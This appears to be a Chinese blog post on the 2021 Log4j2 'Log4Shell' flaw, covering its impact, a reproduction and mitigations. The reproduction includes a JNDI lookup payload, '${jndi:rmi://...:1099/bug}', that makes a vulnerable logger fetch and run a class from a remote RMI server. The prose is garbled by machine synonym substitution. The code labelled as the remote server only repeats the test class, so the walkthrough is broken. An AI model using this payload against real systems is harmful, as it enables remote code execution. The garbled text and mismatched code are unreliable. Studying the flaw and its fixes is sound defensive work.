2021年12月9日20:54,Log4j惊爆“核弹级”破绽,该破绽利用老本极低,能够间接任意代码执行,并接管指标服务器,其潜在危害严重性、影响面堪称往年之最。截至目前,Log4j2“核弹级”破绽影响寰球6万多个开源软件、30余万开源软件包,影响风行开源软件TOP10:Elasticsearch、SpringFramework、Druid、Spring Cloud Alibaba、Skywalking、Sentinel、MyBatis、HikariCP、Zipkin、MyBatis-Plus。该破绽不排除其它利用形式,后续期待官网正式补丁。

破绽复现

复现形式有两种:一种ldap,一种jndi;临时通过jndi复现,感兴趣的小伙伴能够试试
测试类

import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;/** * @Description: * @Author: wangdakai * @Date: 2021/12/13 */public class Log4jBugTest {    private  static final Logger LOGGER = LogManager.getLogger(Log4jBugTest.class);    public static void main(String[] args) {        // 退出前端给你传递的参数是jndi的,且此时你打印了他的参数。        String params = "${jndi:rmi://192.168.79.149:1099/bug}";        LOGGER.error("params:{}",params);    }}

近程服务器,此处用本人本地ip就行,端口不要改。

package com.cn.zj;import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;/** * @Description: * @Author: wangdakai * @Date: 2021/12/13 */public class Log4jBugTest {    private  static final Logger LOGGER = LogManager.getLogger(Log4jBugTest.class);    public static void main(String[] args) {        // 退出前端给你传递的参数是jndi的,且此时你打印了他的参数。        String params = "${jndi:rmi://192.168.79.149:1099/bug}";        LOGGER.error("params:{}",params);    }}

执行共计这代码

package com.cn.zj;/** * @Description: * @Author: wangdakai * @Date: 2021/12/13 */public class Bug {    static {        System.out.println("执行攻击者的代码");    }}

maven依赖

<dependency>    <groupId>org.apache.logging.log4j</groupId>    <artifactId>log4j-core</artifactId>    <version>2.14.1</version></dependency>

执行能够发现,Bug中的代码竟然能够再在咱们Log4jBugTest控制台说出,也就是说如果咱们代码报错且打印参数的状况下,将会被攻打。

解决方案

  • 降级jar包,临时log4j-2.15.0-rc2最新版本比较稳定。然而之前说log4j-2.15.0-rc1稳固,不是还是能够被绕过,倡议等等在换,应用长期计划,等log4j稳固后再进行解决。
    https://github.com/apache/log...
  • 设置参数
    ①设置参数:
    log4j2.formatMsgNoLookups=True
    ②批改JVM参数:
    -Dlog4j2.formatMsgNoLookups=true
    ③零碎环境变量:
    FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true
  • 网络管理,禁止服务器外联